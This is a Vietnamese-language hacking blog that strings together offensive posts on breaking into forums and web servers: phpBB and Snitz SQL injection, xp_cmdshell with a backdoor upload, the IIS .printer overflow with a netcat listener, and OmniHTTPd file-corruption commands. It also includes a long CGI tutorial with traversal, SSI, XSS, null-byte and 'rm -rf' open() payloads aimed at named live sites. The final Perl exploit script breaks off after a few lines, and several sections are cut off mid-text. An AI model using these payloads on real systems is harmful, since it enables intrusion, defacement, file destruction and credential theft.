Chủ Nhật, 8 tháng 5, 2011

Lỗi bảo mật của forum php 2.0.x


## Description:

## Gender Mod is a commonly used modification in official phpBB releases.

## Unchecked posted values can add some SQL fields into the UPDATE sql

command.

## This affects in the newest version 1.1.3.

## If you assign the value: 'user_level = 1', you will have the

ADMINISTRATOR

## PRIVILEGE in forum.

##

## Exploit:

Thêm một cách hack Local Site


Ví dụ vè hack phpBB.. 100% thành công.
Bước 1. Xác định URL website cần hack.

Do đây là free hosting nên website luôn có dạng http://root/yoursite .

Và giả sử forum phpBB nằm tại URL sau http://root/victim/phpBB_path/

Chú ý là phải tìm đúng URL Root chứ không phải redirect hay forward ..

Hack Server bị SQL Injection


1)Tỷ lệ thành công 80%:
Điều kiện server phải là winnt và user dùng để inject là user có quyền dùng xp_cmdshell (sa, dbo)
Để check bạn có thể làm sau đây trên inject link
[injection link]’ %2b convert (int,(system_user())—
Nếu KQ là ‘sa’ hoặc ‘dbo’ có lẽ bạn có thể tấn công được rồi.
Nếu bạn có ‘sa’ hoặc ‘dbo’ nhưng mà admin lại không cho sử dụng cmdshell bạn hãy bật nó lên (bật thế nào tự tìm hiểu nhé )
Lưu ý : bạn sẽ chỉ hack được vào server chứa database của nó thôi (nhiều khi đặt database chung với host J )
Các tool cần thiết : <-- tự tìm download
tftpd32 , backdoor
+++Một vài kinh nghiệm hack, biết lệnh DOS và một chút hiểu biết về network

Hack IIS Server


Đây là bug null printer overflow của IIS 5.0:
khi IIS nhận từ port 80 một thông tin như sau:
GET /NULL.printer /HTTP1.0
Host:[buffer]
với buffer là một string > 420 ký tự thì IIS sẽ báo overflow và hacker có thể chèn lệnh của mình vào.
Các huynh đệ coi thử sử dụng source sau:
(chú ý phải chạy netcat (nc.exe) ở một console khác để nhận connection từ server)

Thứ Bảy, 16 tháng 4, 2011

Cách deface 1 trang web bằng cổng 21


  Như chúng ra đã biết, 1 website được quản lý bằng 1 webserver và 1 ftpserver.Để đưa trang web lên mạng thì chúng ta cần phải dùng ftp để upload file lên, và ftpserver quản lý việc này. FTPserver quản lý account của những người đăng ký host và chỉ những người này mới có quyền upload.Tuy nhiên,ngoài ra 1 số FTPserver có thiết lập thêm mục PUB (public), có nghĩa là cho upload,download nặc danh (anonymous).
Chúng ta bây giờ chỉ quan tâm tới những FTPserver có PUB.
Câu hỏi : chúng ta có thể làm gì với 1 FTPserver có PUB ?Trả lời : 1 PUB thông thường có chứa các file để cho mọi người dowload, 1 số PUB có thể cho upload.Tuy nhiên,1 PUB có thể không chỉ chứa các file dùng cho việc download, mà có thể chứa cả 1 "TRANG WEB". Mọi việc đã rõ,có thể lúc này các

Lỗi bảo mật của Philboard Forum, download database


Thông tin:
Severity : High (Đoạt quyền administrator/users ở Forum Board)
Systems Affected: Philboard up to v1.14
Vendor URL: http://www.youngpip.com/philboard.asp
Vuln Type : Cookie Injection
Tóm tắt:
Philboard là một forum freeware dùng script ASP.
Script bị lỗi nằm ở cookie management. Cookie là "philboard_admin=True;" hay "admin=True;"

Lỗi trong WWWThreads, BBThreads


Đặc điểm của UBBthread là cho upload file, tuy có hạn chế những file được upload nhưng nếu mánh khoé thì chúng ta có thể upload 1 script file và thực hiện script này trên máy server.
Lỗi này xảy ra với WWWThreads và UBBThreads 5.5 Dev11 và những version trở về trước.
UBBthreads kiểm tra các file được upload lên từ bên trái sang phải,có nghĩa là 1 file có dạng aaa.bbb.ccc thì UBBthreads chỉ kiểm tra đến aaa.bbb.Nhưng khi chạy thì 1 file lại được kiểm tra từ phải qua trái để xác định loại của nó.

Lỗi bảo mật của những server ứng dụng Sun-One


Lỗi 1: Xem được mã nguồn của JSP
Lỗi 2: Không cần đăng nhập
Lỗi 3: Cross site scripting
Lỗi 4: Sự cho phép sai ở local file và plaintext passwords
Lỗi 1: Xem được mã nguồn của JSP
Tính nguy hiểm: Cao

Thứ Hai, 4 tháng 4, 2011

Lỗi bảo mật ở Server Snowblind


=:=:=::=:=:=::=:=:=::=:=:=::=:=:=::=:=:=::=:=:=::=
topic: Snowblind Web Server: multiple issues
product: Snowblind Web Server v1.0
vendor: www.snowblind.net
risk: high
date: 05/16/2k3
tested platform: Windows 98 Second Edition
=:=:=::=:=:=::=:=:=::=:=:=::=:=:=::=:=:=::=:=:=::=
Mô tả:
Có 2 lỗi : directory traversal và DoS attacks.
directory traversal

Attack một Webserver OmniHTTPd v2.07


Chao cac ban! hom nay toi lai gioi thieu tiep voi ban cach Attack mot Webserver OmniHTTPd v2.07.
OmniHTTPd la mot Webserver chay tren nen OS Win95/97/98/NT/2K. Den Version 2.07 thi bi "Omnicron Technologies Corporation was notified via" phat hien ra 2 lo hong bao mat kha tram trong. OK! bay gio chung ta bat dau trao doi va tim hieu ve 2 lo hong nay xtoi no tram trong ra sao? Dau tien tren may ban phai co cai Perl (Pratical Extraction And Reporting Language), va can phai tai doan Code cua "Joe Testa" de khai thac 2 lo hong bao mat nay.
Lo hong thu nhat: Lo hong thu nhat cho phep cac Hacker co pha hong bat cu mot file nao tren Webserver....Dan den nhieu hau qua nghitoi trong. Neu nhu cac Hacker co the biet duoc chinh xac vi tri file ma minh can pha hoai. Gia su ban da co trong ta doan Code cua "Joe Testa". Ban ra DOS go:
perl omnismash.pl localhost 80 -corrupt duong_dan_file_can_pha_huy
VD: perl omnismash.pl localhost 80 -corrupt c:\autoexec.bat
Dong lenh tren se pha hong file autoexec.bat tren Webserver...Ban co the tu do pha huy cac file khac neu nhu ban biet chinh xac vi tri cua no.
Lo hong bao mat thu hai: Cac Hacker co the sua doi noi dung file stats.pl bang doan Script co san. Tat nhien la viec nay co ich cho viec Attack roi, chang ai thua com ma di sua lung tung ca. Ban ra DOS go:
perl omnismash.pl localhost 80 -inject duong_dan_cua_file_stats.pl
De lam duoc dieu nay ban phai biet chinh xac vi tri cua file stats.pl....Neu nhu OmniHTTPd duoc Setting o che do Default thi duong dan cua no co the la c:\httpd\cgi-bin ...Noi chung cai nay thi con tuy Server, tuy Admin....
VD: perl omnismash.pl localhost 80 -inject c:\httpd\cgi-bin
Neu thanh cong, file stats.pl da duoc thay the. Ban khoi dong Browser cua minh trong Form Address go http://localhost/cgi-bin/stats.pl?|dir thi ban se nhin thay duoc cac file trong trong thu muc cgi-bin. P..h..u vay la ban da Hack song mot Webserver Omni HTTPd roi do. Bua no toi len mang kitoi duoc duoc mot dia chi goi Bug Web (dai loai la cac trang Web bi dinh Bug...chuyen dung de cho cac Hacker moi vo nghe thuc hanh duoi day la dia chi cua no)
http://www.tlsecurity.net/archive/exploits/02_01/[Vuln.05.02.2001].java.server.txt
http://www.tlsecurity.net/archive/exploits/02_01/[Vuln.05.02.2001].hsweb.root.exposure.txt
http://www.tlsecurity.net/archive/exploits/02_01/[Vuln.05.02.2001].sedum.txt
http://www.tlsecurity.net/archive/exploits/02_01/[Vuln.05.02.2001].bibliowebserver.txt
http://www.tlsecurity.net/archive/exploits/02_01/[Vuln.05.02.2001].picserver.txt

CGI hacking


Hiện nay các ứng dụng WEB dùng CGI rất nhiều,nó trở nên rất phổ biến và cũng được các hacker quan tâm và không ít các lổi bảo mật được tìm thấy .Bạn muốn hack web sữ dụng CGI thì bạn phải biết chút ít về ngôn ngữ PERL.Nếu bạn không biết gì về PERL thì tôi khuyên bạn nên đi tìm một cuốn sách nói về PERL mà đọc,điều này chắc là không khó đối với bạn.

Trước tiên ta hãy xem cách thức làm việt của GET và POST như thế nào:
GET:

GET là phương pháp mặt định để đệ trình các form,tuy là phương pháp mặt định nhưng có một vấn đề với việt sữ dụng GET.Phương pháp này thêm thông tin chứa trong form vào chuổi vấn tin URL(,nếu URL quá dài thì chương trình tự động xén bớt nên gây ra sự đệ trình không chính xác.Thông tin đực lấy từ biến môi trường $ENV{'QUERY_STRING'} ví dụ:

#script.cgi?sometext

#sẽ là:

$file = 'sometext'

$file = $ENV{'QUERY_STRING'};

#script.cgi?some&text

#sẽ là:

$name = 'some' and $file = 'text'

($name, $file) = split(/&/, $ENV{'QUERY_STRING'});

(chú ý:Tôi khuyên bạn biết chút ít về PERL cho dù bạn không lập trình bằng PERL,và điển hình là bài viết này bạn hiểu nó như thế nào ví dụ lệnh split() làm như thế nào...)

Và nếu nhiều biến thì như sau:

@pair = split(/&/, $ENV{'QUERY_STRING'});

foreach $pair (@pairs)

{

($name, $value) = split(/=/, $pair);

#used to make + into spaces

$value =~ tr/+/ /;

#used to convert url encoding (hex) to ascii :

$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $FORM{$name} = $value; #script.cgi?name=some&file=text

#sẽ là:

$FORM{'name'} = 'some' and $FORM{'file'} = 'text'

}

Trên đây là những ví dụ đơn giản về phương thức GET.và HTTP có dạng như sau:

GET /script.cgi?some&text HTTP/1.0
POST:

POST là phương pháp thư hai dùng để đẹ trình các form và đang đươc sữ dụng rộng rải nhất,vì nó không hạn chế lượng dữ liệu truyền đến server.Để đọc dữ liệu truyền đến server,trước tiên bạn phải xác định chiều dài của nó,và thực hiện điều này bằng cách qua iến môi trường CONTENT_LENGTH và sau đó bạn có thể đọc số byte chính xác trong một biến khác,chuổi được mã hoá bởi URL do đó bạn cần phân tích và giải mã nó.Đây là ví dụ của HTML được "submit" form với hai biến "name" và "file":

<form action="script.cgi" method="post">

<input type="text" name="name" value="">

<input type="hidden" name="file" value="profiles.txt">

<input type=submit value="submit">

</form>

Và tất cã các form dữ liệu sẽ được đặt trong:into $FORM{'name-of-field'} đọc POST data:

$buffer read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});

@pairs = split(/&/, $buffer);

foreach $pair (@pairs)

{

($name, $value) = split(/=/, $pair);

#used to make + into spaces

$value =~ tr/+/ /;

#used to convert url encoding (hex) to ascii

$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

#this would set

$FORM{'name'} = whatever the user put in the text field

#and $FORM{'file'} to profile.txt

$FORM{$name} = $value;

}

Làm việc của POST phần nào đó rất giống GET nhưng bạn sữ dụng hàm read() để đọc vào STDIN và nó sẽ send phần dữ liệu chứa trong phương thức POST.CONTENT _LENGTH dùng để gọi script để đọc dữ liệu,nó bao gồm trong phương thức POST.Một số script sữ dụng phưong thức này có dạng như sau:

<input type="hidden" name="file" value="profiles.txt">

-->đây là phần ẩn của mã nguồn URL mà khi hacker muốn xem thì không khó,khi anh phát hiện ra code có dạng như thế thì có thể đổi lại như sau:

<input type="hidden" name="file" value="/etc/passwd">

Và khi nhấn nút "submit" thì dữ liệu sẽ được phuơng thức POST gởi yêu cầu tới HTTP requery,vậy là bạn có được file passwd,thậm chí chỉ dùng telnet cũng lấy được.Đây là phương pháp dể dàng để lấy được dữ liệu quan trong của server qua vùng ẩn của html.Có nghĩa là bạn có thể bypass bất kỳ loại clien side security,chẵng hạn như java script check,http_referrer value,form html...Đừng bao giờ trông chờ vào dữ liệu đươc chuyển đến qua phương thức POST hơn nữa bạn sẽ có được dữ liệu từ GET,và nó sẽ thay đổi bởi attacker họ có thể đọc được dữ liệu của bạn từ HTTP RFC ví dụ dùng telnet:

POST /script.cgi HTTP/1.0

Content-Length: 23

Content-Type: application/x-www-form-urlencoded value=blah&another=bleh

POST và GET là hai phương thức giúp nhiều cho hacker khai thác thông tin của hệ thống và một modul quan trọng nữa là CGI cũng có lợi rất nhiều.
CGI:

CGI là một tiêu chuẩn để tạo các chương trình ngoại chẵng hạn như các script perl với một HTTP server,các thuật ngữ "common" và "gateway" ám chỉ các biến và quy ước thông thường được dùng để truyền thông tin này qua lại HTTP server.CGI cho phép bạn sữ dụng chương trình tuỳ biến này để định dạng và xữ lý dữ liệu xuất sang các bộ trình duyệt.Mổi lần người dùng yêu cầu một URL tương ứng với một Script CGI,WEB server viện dẩn chương trình,truyền dẩn thông tìn từ bộ trình duyệt đến script.Thông tin này bao gồm các header HTTP khác nhau và được gởi từ trình duyệt yêu cầu và thông tin từ được truyền cùng với URL chẵn hạn như thông tin chuổi query.Sau đó script CGI đọc và xữ lý đưa ra đáp ứng thích hợp với thông tin này :

xem ví dụ:

#$value is a new CGI

$value=CGI->new();

$file = $value->param('file');

#script.cgi?name=some&file=text

$name = $value->param('name');

#would make $name = 'some' and $file = 'text'

COOKIE:

Chắc tôi khỏi nói các bạn cũng biết.

ENV:

AUTH_TYPE:Kiểu xác thực dùng để hiệu lực hoá người dùng

CONTENT_LENGTH:Kích cở của nội dung file được cho ra

CONTENT_TYPE:Loại nội dung mà dữ liệu được gởi

CATEWAY_INTERFACE:Phiên bản CGI mà server hổ trợ

HTTP_ACCEPT:Loại MINE mà trình duyệt chấp nhận cho yêu cầu này

HTTP_USER_AGENT:Tên hoàn chỉnh bộ nhận dạng cảu bộ trình duyệt

PATH_INFO:Thông tin đường dẩn

PATH_TRANSLATED:PATH_INFO được biên dịch

QUERY_STRING:Bất kỳ text sau '?'

REMOTE_ADDR:Địa chỉ IP của bộ trình duyệt yêu cầu

REMOTE_HOST:Máy chủ của bộ trình duyệt thực hiện yêu cầu

REQUEST_METHOD:Phương pháp dùng đạt yêu cầu chẵn hạn GET hay POST

SCRIPT_NAME:Đường dẩn đến script được thực thi.

SERVER_NAME:Tên máy chủ của server.

SERVER_PORT:Cổng mà máy chủ liên lạc

SERVER_PROTOCOL:Giao thức và phiên bản được sữ dụng trong câu trã lời của server.

SERVER_SOLLTWARE:Tên và phiên bản phần mềm server.

Từ nảy đến giờ các bạn chỉ đọc toàn kiến thức cơ bản về giao thức truyền thông tin qua GET và POST với HTTP...Ta hãy đi đến phần quan trọng của ứng dụng lổi của script CGI trong việc hack.
Reverse Directory Transversal
Bây giờ hãy tận dụng các tổn thương của CGI nếu bạn biết UNIX và PERL thì tại sao không thể tìm ra lổ hổng của ứng dụng này,bây giờ ta hãy chú ý đến thuật ngữ:"Reverse Directory Transversal" làm chúng ta liên tưỡng đến dấu "../" tôi có thể nói rằng hầu hết các bạn ở đây đều biết tác dụng của dấu này chứ nên tôi không cần nói nhiều làm gì nữa mà ta hãy đặt ra câu hỏi tại sao lại sữ dụng dấu này?Vâng thưa các bạn tôi sẽ nói cho các bạn biết trong những dòng chữ tiếp theo sau.Dấu này nó cho phép chúng ta đoc,ghi,xoá và thi hành các file trên server bị tổn thương.Đây là cú pháp của hàm open()<!--emo&:(--><IMG alt=greensad.gif src="http://vnhacker.org/forum/html/emoticons/greensad.gif" border=0 valign="absmiddle"><!--endemo-->ví dụ)

open(FILE, "/home/user/file.txt");

or

$this = '/home/user/file.txt';

open(FILE, "$this");

Cã hai có chung một mục đích là mở file file.txt,chúng ta có thể thấy không có sơ hở nào cho việc tấn công từ xa của hacker.Và bây giờ chúng ta thữ nhìn đoạn code vuln.cgi sau:

$this = $ENV{'QUERY_STRING'};

#gets the user input into $this

open(FILE, "$this");

#opens that file

@stuff = <FILE>;

#puts contents of that file into @stuff array close(FILE);

print "Content-type: text/html\n\n";

#print html to the client print "<HTML><BODY>\n";

print @stuff;

print "</BODY></HTML>";

Các hacker sẽ làm việc với biến môi trường QUERY_STRING như sau:/etc/passwd và bất kỳ file nào để có thể đọc trên server.Nhưng một số server khác lại không như thế họ bảo mật hơn một tí ví dụ code như sau.

$this = '/home/user/';

(undef, $this) .= split(/?/, $ENV{'QUERY_STRING'});

open(File, "$this");

Bây giờ thì bạn không thể đọc với đầu vào là /etc/passwd nhưng ko vì thế mà các hacker đầu hàng họ nghĩ ngay ra dùng dấu ../ như sau:../../etc/passwd và họ đã thành công ví dụ trong một số ứng dụng CGI có đoạn URL sau:script.cgi?file=database.txt nhưng hacker đã tận dụng và khai thác như sau:script.cgi?file=../../../../etc/passwd

Ví dụ file mà tôi tìm thấy lổi này(chưa fix):

<A href="http://www.chattanooga.net/index.cgi?menu=Support&page=/../../../../../../../../etc/passwd" target=_blank><FONT color=#abb2d5>http://www.chattanooga.net/index.cgi?menu=..../../etc/passwd

Ta còn có thể khai thác các lệnh UNIX trên server này nữa ví dụ:

<A href="http://www.chattanooga.net/index.cgi?menu=Support&page=/../../../../../../../../bin/ls|" target=_blank><FONT color=#abb2d5>http://www.chattanooga.net/index.cgi?menu=...../bin/ls|
>>Xem các file và thư mục trên hệ thống và các bạn có thể thi hành các lệnh UNIX trên server này.

Đây là code để bảo vệ việc dùng dấu '../' như sau:

$this = '/home/user/';

(undef, $this) .= split(/?/, $ENV{'QUERY_STRING'});

$this = s/\.\.\///g;

#gets rid of ../ in $this

open(File, "$this");

Thoạt đàu nhìn thì có vẽ an toàn,nhưng chúng ta biết về cách mà UNIX và PERL hiểu như thế nào,hãy nhìn đây,đó là .\./.\./etc/passwd =>Trong UNIX sữ dụng '.\./' thay cho '../' nhưng các hacker đâu chịu yên họ sữ dụng để làm đầu vào như sau:'.\./.\./' thì file bảo vệ đó sẽ không nhìn thấy '../' tương đương '....//' và các string sẽ không được lọc hết,và bây giờ các hacker có thể đọc thi hành và xoá các file trên hệ thống ví dụ điển hình về lổi này là:

FileSeek.cgi

file này có đoạn code như sau:

=====================

$ROOT_DIR = '/web/guide/cgi-perl/private_09832ujd/CD-ROM/';
$DD = substr($ROOT_DIR, -1); # $DD = '/'
...
if ($directory =~ /$DD\.\./) { $directory = '' }
$ARGS{'head'} =~ s/(^$ALLOWED_DIR)|(^$DD)|(\.\.($DD|$))//g;
$ARGS{'foot'} =~ s/(^$ALLOWED_DIR)|(^$DD)|(\.\.($DD|$))//g;

=====================

Rất dễ để đánh lừa FileSeek.cgi! Nếu attacker gởi "....//", FileSeek.cgi sẽ strip "../" và kết quả sẽ ra là "../".exploit như sau:

<A href="http://www.cgi-perl.com/programs/FileSeek/Demo/FileSeek.cgi?head=....//....//....//....//....//....//....//etc/passwd" target=_blank><FONT color=#abb2d5>http://www.cgi-perl.com/programs/FileSeek/......//etc/passwd

Vâng tới đây là bạn có thể hiểu rồi chứ.
Flat Databases:

Khi bạn nghe nói về flat Databases có nghĩa là dùng plain text để chứa dữ liệu đây có thể là database.txt,database or file.db.Bây giờ chúng ta hãy xem một ví dụ về FD(Flat Databases)

Hãy xem đoạn code sau:

use CGI;

#$input is a new cgi

$input=CGI->new();

#get GET/POST variables

$name = $input->param('name');

$mail = $input>param('mail');

$message = $input->param('message');

#print to messages database

open(DB, ">>messages.txt");

print DB "$name|$mail|$message\n"; close(DB);

Có ba vùng dũ liệu để input vào messages.txt,khi message board script đọc thì bạn sẽ nhìn thấy code sau:

#read messages database

open(DB, "<messages.txt");

@messages = <DB>;

close(DB);

#print html print "Content-type: text/html\n\n";

print "<HTML><BODY>\n";

#loop through all the messages

foreach $msg (@messages)

{

#split the database fields up

($name, $mail, $message) = split(/\|/, $msg);

print "message by: <a href="mailto:$mail">$name</a>\n"; print "<br><br>\n$message\n<br><br>\n";

}

print "</BODY></HTML>";

Không có sự lọc dữ liệu dầu vào nào đối với code này.nên bạn có thể dùng như sau để làm tràn:

flood|flood|flood\nflood|flood|flood\nflood|flood|flood\nflood|flood|flood\n ...thật nhiều vào

Với đoạn code trên ta không nhìn thấy sự đe doạ lớn nào đến với hệ thống nhưng hãy nhìn một số server code ẩu và có dạng như sau:dữ liệu vào:'username|password|visits|user-agent|admin|ipaddress' vùng admin là 1 nếu user là admin và 0 nếu là user bình thường.Vậy hãy nhìn khi chúng ta cho dữ liệu đầu vào như sau:

b0iler|a|1|linux|1|127.0.0.1|

OK tương đương user name là b0iler,visit là 1,user-agent là linux,*admin to 1*,ipaddress là 127.0.0.1 với lổi này một user bình thường có thể login vào hệ thống với quyền root,thông thường thì trường user name và pass thì được lọc nhưng với user-agent và referer thì không được lọc và các hacker có thể chèn những đoạn mã lệnh nguy hiểm vào hệ thống server bị tổn thương.
Cross Site scripting:

XSS thì các bạn nghe đến nhiều rồi nhất là bài viết của MASK.. rất rỏ nên tôi không muốn viết lại nữa,nhưng ỡ đây tôi đang viêt về lổ hổng của CGI nhưng CGI cũng bị lổi về XSS nên tôi nói sơ qua vậy mong các baạnthông cảm,xem ví dụ:

<A href="http://vuln.com/script.cgi?display=< script" target=_blank><FONT color=#abb2d5>http://vuln.com/script.cgi?display=< script type=text/javascript>alert('hello');< /script>

script.cgi là code perl mà nó dùng để xem dữ liệu trong vùng input và sẽ trã về clien side trên trìhn duyệt,và có nghĩa là đoạn code < script type=text/javascript>alert('hello');< /script> sẽ được chạy ngay trên trình duyệt của bạn.Và với những code js mà bạn biết bạn có thể khai thác một cách hiệu quả điển hình nhất là lấy cookie(bánh quy) và hơn nữa là có thể truy cập vào các URL chứa user name,passwd,sessionid và một số thông tin nhạy cảm nhất.Bạn có thể thay đổi user trên site đó và bạn cũng có thể submit data đê script thi hành gây những tổn hại đến server như del email,thay đổi email,send email,add admin vào database và bất cứ thứ gì bạn muốn khi bạn truy cập vào hệ thống với quyền tối cao.Đây là một đoạn code CGI có vấn đề:

use CGI;

#$input is a new CGI

$input=CGI->new();

$email = $input->param('email');

#checks for valid email address: something@something.com

if($email !~ /^(\S+)&#92;@(\S+).(\S+)/)

{

#prints $email to html, totally unfiltered.

&printhtml("error: $email is not a valid email address");

}

else

{

&processemail("$email");

}

Bạn có thể đưa thông tin ví dụ < script type=text/javascript> alert(hello);< /script> vào email address một error message sẽ được gởi tới clien và đoạn mã js sẽ được chạy ngay trên trình duyệt của hacker.Và ví dụ về những lổi này thì tôi không cần đưa lên đây vì trong box bảo mật có rất nhiều lổi nói về XSS bạn có thể tìm và khai thác chúng =>tăng thêm kỹ năng hack của bạn.

Và tôi nói thêm trong việc chèn code js trong viêc tấn công qua cổng 80 xem ví dụ một số cách tấn công sau:

Thữ chèn một đoạn mã JS vào "Referer":

C:\>nc 127.0.0.3 80
HEAD / HTTP/1.0
Referer: < script>alert('document.domain='+document.domain)< /script>

HTTPd Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Content-Location: <A href="http://127.0.0.3/Default.htm" target=_blank><FONT color=#abb2d5>http://127.0.0.3/Default.htm
Content-Type: text/html
Content-Length: 4325


Chèn vào default.asp:

C:\> nc 127.0.0.3 80
HEAD /default< script>alert("Cheers world!")< /script>.asp HTTP/1.0


#Software: Microsoft Internet Information Server 4.0
#Version: 1.0
#Date: 2002-06-17 16:26:50
#Fields: time c-ip cs-method cs-uri-stem sc-status
16:26:50 127.0.0.3 HEAD /Default.htm 200
16:27:04 127.0.0.3 HEAD /default< script>alert("Cheers world!")< /script>.asp 200
16:41:15 127.0.0.3 GET /default.asp 200
Những script mà attacker có thể sữ dung:
HEAD< script SRC="c:\boot.ini">< /script> / HTTP/1.0
HEAD /default.asp<FileSystemObject.CopyFile "c:\boot.ini", "boot.htm"> HTTP/1.0
GET /< script>window.location="http://www.bad.com/bad.htm";< /script>home.htm HTTP/1.0
GET /default.asp<%FSObj.CopyFile global.asa global.txt%>
Tiếp tục:
C:\>nc 127.0.0.3 80
HEAD /Default.asp HTTP/1.0
User-Agent: <% Set fs = CreateObject("Scripting.FileSystemObject")
Referer: Set a = fs.CreateTextFile("c:\testfile.txt", True)

C:\>nc 127.0.0.3 80
HEAD /Default.asp HTTP/1.0
User-Agent: a.WriteLine("Here an attacker would")
Referer: a.WriteLine("build a file o­n the HTTPd")

C:\>nc 127.0.0.3 80
HEAD /Default.asp HTTP/1.0
User-Agent: a.WriteLine("of any type and content, including")
Referer: a.WriteLine("a binary, a script, a batch file...")

C:\>nc 127.0.0.3 80
HEAD /Default.asp HTTP/1.0
User-Agent: a.Close %>
Và:
C:>\nc 127.0.0.3 80 HEAD / HTTP/1.0
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Content-Location: <A href="http://127.0.0.3/Default.htm" target=_blank><FONT color=#abb2d5>http://127.0.0.3/Default.htm
Content-Type: text/html
Accept-Ranges: bytes
Content-Length: 4325
C:>\nc 127.0.0.3 80
HEAD /default.asp<img src="file:/C:/boot.ini">
HTTP/1.0
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Content-Location: <A href="http://127.0.0.3/Default.htm" target=_blank><FONT color=#abb2d5>http://127.0.0.3/Default.htm
Content-Type: text/html
Accept-Ranges: bytes
Content-Length: 4325
C:>\nc 127.0.0.3 80
HEAD /default.asp< script>alert("Cheers world!")< /script>
HTTP/1.0 HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Content-Location: <A href="http://127.0.0.3/Default.htm" target=_blank><FONT color=#abb2d5>http://127.0.0.3/Default.htm
Content-Type: text/html
Accept-Ranges: bytes
Content-Length: 4325
Chú ý:những đoạn code trên là ví dụ bạn phải linh hoạt trong qúa trình xâm nhập của mình
SSI:

Chắc các bạn cũng từng nghe qua về SSI vậy SSI thật ra là cái gì thưa các bạn tôi có thể nói rằng nó giống như #include file ->trong C/C++ hay hàm requery() và include() trong PHP nhưng đây là dùng cho SHTML(có nghĩa là file có đuôi là .shtml) vây cú pháp như sau:

<!--#thông tin -->

<!--#include file="/etc/passwd" -->

==>đưa thông tin của file /etc/passwd ra trình duyệt

<!--#exec cmd="rm -rf /home/you/www" -->

==>thi hành lệnh sau exec ở đây là 'rm -rf /home/you/www'

Đây là code CGI:(ví dụ)

@pairs = split(/&/, $ENV{'QUERY_STRING'});

foreach $pair (@pairs)

{

($name, $value) = split(/=/, $pair);

$value =~ s/<!--(.|\n)*-->//g;

$FORM{$name} = $value;

}
Hãy nhìn $value =~ s/<!--(.|\n)*-->//g;nó đã lọc các SSI,và khi bạn dùng SSI thì nó không làm việc.Chúng ta hãy nhìn đoan code sau:

"<br> $username $email <br><br> $message <br>"

Vậy bạn có thể vào phần input trong trường user name ví dụ <!-- and email as #exec cmd="ls" --> thì nó sẽ thi hành lệnh ls.Lọc dữ liệu là phần quan trọng trong các úng dụng PERL Script,nhưng những hacker thì sẽ luôn tìm ra những khe hở để qua mặt hệ thống xem ví dụ sau:

$value =~ s/<!--(.|\n)*-->//g;

đoạn code trên lọc SSI với <!-- #anything --> nhưng hãy nhìn đoạn SSI sau:

<!-<!-- #nothing -->- #include file="/etc/passwd" -->

đoạn này thì không làm việc vì perl sẽ tìm <!-- đầu tiên và --> cuối cùng vậy ta hãy sữa đổi lại một chút như sau:

<!-<!-- -->- #include file="/etc/passwd" -<!-- -->->

Làm việc một cách rất ngon lành vì <!-- và --> không tìm thấy vậy ta đã lừa được hệ thống một cách ngoạn mục
Vậy bài học là gì:

Muốn tấn công hệ thống nào đó thì ta phải hiểu hệ thống đó có cấu trúc như thế nào làm việc ra sao,ở đây các ứng dụng CGI dùng perl script thì ta phải hiểu cách thức làm việc của perl thì mới có thể khai thác được.

Bây giờ bạn thấy hiểm hoạ to lớn từ SSI như thế nào rồi chứ hi vọng các bạn hãy quan tâm đến hệ thống của mình để tránh được các cuộc tấn công của hacker.
NULL Byte:

Vấn đề nằm ở \0 (00 hex) là NULL Byte,perl sẽ nhìn NULL Byte ở ký tụe NULL nhưng C thì không như vậy,chúng ta có thể vượt rào ngăn cản của hệ thống đó thông qua các hàm hệ thống như open(),exec()...Để dể hiểu hãy xem ví dụ sau:

#get input and put it into $file

$file = $ENV{'QUERY_STRING'};

#convert url encoding to ASCII ( will become the NULL Byte)

$file =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

$filename = '/home/user/' . $file . '.txt';

open(FILE, "<$filename");

Đoạn code này làm gì? $file sẽ lấy /home/user/ đặt trước và .txt đặt sau nó.Khi $file=a cón nghĩa là nó sẽ mở file a.txt,nhưng khi bạn đánh trên trình duyệt với URL sau ví dụ:script.cgi thì perl sẽ gởi /home/user/script.cgi\0.txt đến C và nó sẽ nhìn với /home/user/script.cgi là NULL Byte vậy khai thác như thé nào hãy làm như sau:Chèn một kí tự NULL byte vào phía sau câu truy vấn vd:../../../../etc/passwd\0 vậy là ta có thể đọc được file /etc/passwd,với những code upload thì ta cũng có thể up những file không cho phếp với những mẹo bất kỳ nào mà bạn nghĩ ra để lừa hệ thống

Vấn đề với hàm open():

Hàm open() rất hay được sữ dụng nhưng nó cũng có những mối nguy hiểm đến hệ thống của ban,để cho vấn đè được rỏ ràng hơn hãy ghé thăm ví dụ sau:

use CGI;

$input=CGI->new();

$file = $input->param('file');

open(FILE, $file) or &diehtml("cannot open that file");

Hãy khai thác thữ lổi này:

<A href="http://b0iler.eyeonsecurity.net/script.cgi?file=rm" target=_blank><FONT color=#abb2d5>http://b0iler.eyeonsecurity.net/script.cgi?file=rm -rf ./|

thư mục hiện hành sẽ bị xoá,vậy là bạn có thể thấy tính nguy hiểm của nó như thế nào rồi
Tóm lại:

Tôi đã trình bày sơ qua một số lổi của các ứng dụng CGI mà sữ dụng PERL Script mong rằng với những kiến thức nhỏ này bạn có thể hiểu thêm về tầm quan trọng của việc bảo mật hệ thống,hi vọng từ bài viết này có thể giúp cho các bạn biết một số lổi thường gặp của ứng CGI mà khai thác và fix một cách hiệu quả.
 

Lỗi bảo mật của Snitz Forum 3.3.03


Snitz Forums 3.3.03 có một lỗi SQL injection ngay trong trang "register.asp" với biến
"Email" của nó. Do "register.asp" không kiểm tra user nhập vào, user từ xa có thể thi
hành chuỗi lệnh (như là "xp_cmdshell") trái phép lên hệ thống.
Mô tả lỗi:
Snitz Forums 3.3.03 có một lỗi SQL injection ngay trong trang "register.asp" với biến
"Email" của nó. Do "register.asp" không kiểm tra user nhập vào, user từ xa có thể thi
hành chuỗi lệnh (như là "xp_cmdshell") trái phép lên hệ thống.

Version bị ảnh hưởng:
3.3.03
và có thể những version trước đây (chưa test)

Giải pháp:
Nâng cấp lên bản 3.4.03.

Khai thác:

#!/usr/bin/perl

use Socket;

print "\nRemote command execution against Snitz Forums 3.3.03 (and probably others).\n";
print "You accept full responsibility for your actions by using this script.\n";
print "INTERNAL USE ONLY!! DO NOT DISTRIBUTE!!\n";

print "\nWeb server? [www.enterthegame.com]: ";
my $webserver = <STDIN>
